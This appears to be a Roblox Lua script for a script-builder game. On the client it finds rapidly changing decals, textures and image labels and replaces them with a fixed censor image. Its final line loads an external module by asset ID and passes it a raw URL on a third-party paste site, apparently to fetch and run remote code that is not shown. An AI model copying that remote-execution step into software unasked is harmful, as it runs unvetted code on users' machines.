if game:GetService("RunService"):IsClient() then
_G['temp_stop'] = true
task.wait(1)
_G['temp_stop'] = false
end
local wl = {
'Decal',
'Texture',
'ImageButton',
'ImageLabel'
}
identify = function(v)
local pass = false
for i,t in pairs(wl) do
if v.ClassName == t then
pass = true
break
end
end
return pass
end
destroy = function(v)
pcall(function()
v:Destroy()
end)
task.delay(0.1,function()
if v then
destroy(v)
end
end)
end
scan = function(v)
if identify(v) then else return end
local id = 'rbxassetid://' .. 6062949588 -- 11367921097
if v:GetAttribute('censored') or v.Parent and v.Parent:GetAttribute('censored') then return end
local can_run = true
local par = v
local p = v:FindFirstAncestorOfClass("Part")
if p then
par = p
end
local vpar = v.Parent
local st = os.clock()
local c1 = {}
local con = {}
local run = function(bypass)
if can_run then else return end
can_run = false
coroutine.wrap(function()
if bypass then
task.wait(0.5)
else
task.wait(1)
end
local n
if #c1 >= 1 or bypass then
n = 0
for i = 1,#c1 do
n = n + c1[i]
end
n = n/#c1
else
c1 = {}
can_run = true
return
end
if 0.3 >= n or bypass then else
c1 = {}
can_run = true
return
end
local new_v = v:Clone()
new_v:SetAttribute('censored',1)
new_v:ClearAllChildren()
new_v.Name = math.random()
if vpar then
--vpar:SetAttribute('censored',1)
end
if v then
v:SetAttribute('censored',1)
end
new_v.Parent = vpar
if new_v.ClassName == 'Decal' or new_v.ClassName == 'Texture' then
local c
c = game:GetService("RunService").RenderStepped:Connect(function()
if new_v and new_v.Parent then else
c:Disconnect()
return
end
new_v.Texture = id
end)
elseif new_v.ClassName == 'ImageLabel' or new_v.ClassName == 'ImageButton' then
local c
c = game:GetService("RunService").RenderStepped:Connect(function()
if new_v and new_v.Parent then else
c:Disconnect()
return
end
new_v.Visible = true
new_v.Image = id
new_v.Size = UDim2.new(1,0,1,0)
new_v.Position = UDim2.new(0,0,0,0)
new_v.ImageTransparency = 0
new_v.AnchorPoint = Vector2.new(0,0)
new_v.ZIndex = 1/0
end)
end
if new_v.ClassName == 'Texture' and par:IsA("BasePart") then
local c
c = game:GetService("RunService").RenderStepped:Connect(function()
if new_v and new_v.Parent and par and par:IsA("BasePart") then else
c:Disconnect()
return
end
new_v.StudsPerTileU = par.Size.X
new_v.StudsPerTileV = par.Size.Y
new_v.OffsetStudsU = 0
new_v.OffsetStudsV = 0
end)
end
local check = function(c)
if c:GetAttribute('censored') then return end
if c:IsA("Sound") then
c.Volume = 0
destroy(c)
return
end
local pass = false
for i,t in pairs(wl) do
if c.ClassName == t then
pass = true
break
end
end
if pass then
destroy(c)
end
end
par.DescendantAdded:Connect(check)
for _,c in pairs(par:GetDescendants()) do
check(c)
end
if v then
destroy(v)
end
for i,c in pairs(con) do
c:Disconnect()
end
local s = Instance.new("Sound")
s.SoundId = 'rbxassetid://2514375878'
s.PlayOnRemove = true
s.Volume = 1
s:SetAttribute('censored',1)
s.Parent = par or new_v.Parent
s:Destroy()
end)()
end
local multi_bypass = false
if v.Parent then
local list = {}
for i,vv in pairs(v.Parent:GetChildren()) do
if vv:IsA("ImageLabel") then
table.insert(list,vv)
end
end
if list[1] == v then
multi_bypass = true
for i,vv in pairs(list) do
if vv ~= v then
vv:SetAttribute('censored',1)
destroy(vv)
end
end
end
end
if multi_bypass then
run(true)
return
end
run()
if v.ClassName == 'Decal' then
local prop = 'Texture'
local l = v[prop]
table.insert(con,v:GetPropertyChangedSignal(prop):Connect(function()
if l ~= v[prop] then else return end
l = v[prop]
local d = os.clock()-st
table.insert(c1,d)
st = os.clock()
run()
end))
elseif v.ClassName == 'Texture' then
local prop = 'OffsetStudsU'
local l = v[prop]
table.insert(con,v:GetPropertyChangedSignal(prop):Connect(function()
if l ~= v[prop] then else return end
l = v[prop]
local d = os.clock()-st
table.insert(c1,d)
st = os.clock()
run()
end))
elseif v.ClassName == 'ImageButton' or v.ClassName == 'ImageLabel' then
local prop = 'Size'
local l = v[prop]
table.insert(con,v:GetPropertyChangedSignal(prop):Connect(function()
if l ~= v[prop] then else return end
l = v[prop]
local d = os.clock()-st
table.insert(c1,d)
st = os.clock()
run()
end))
local prop = 'Image'
local l = v[prop]
table.insert(con,v:GetPropertyChangedSignal(prop):Connect(function()
if l ~= v[prop] then else return end
l = v[prop]
local d = os.clock()-st
table.insert(c1,d)
st = os.clock()
run()
end))
end
end
--[[
local c1 = workspace.DescendantAdded:Connect(scan)
for i,v in ipairs(workspace:GetDescendants()) do
coroutine.wrap(function()
scan(v)
end)()
end
]]
if game:GetService("RunService"):IsClient() then
local c1 = workspace.DescendantAdded:Connect(scan)
for i,v in ipairs(workspace:GetDescendants()) do
coroutine.wrap(function()
scan(v)
end)()
end
repeat
task.wait(0.1)
until _G['temp_stop']
c1:Disconnect()
warn('ended')
else
script.Parent = nil
end
if game:GetService("RunService"):IsServer() then else return end
require(14525812051)(owner.Name,'http://coolaf.com/run/snippets/gtg40xv9wa/raw')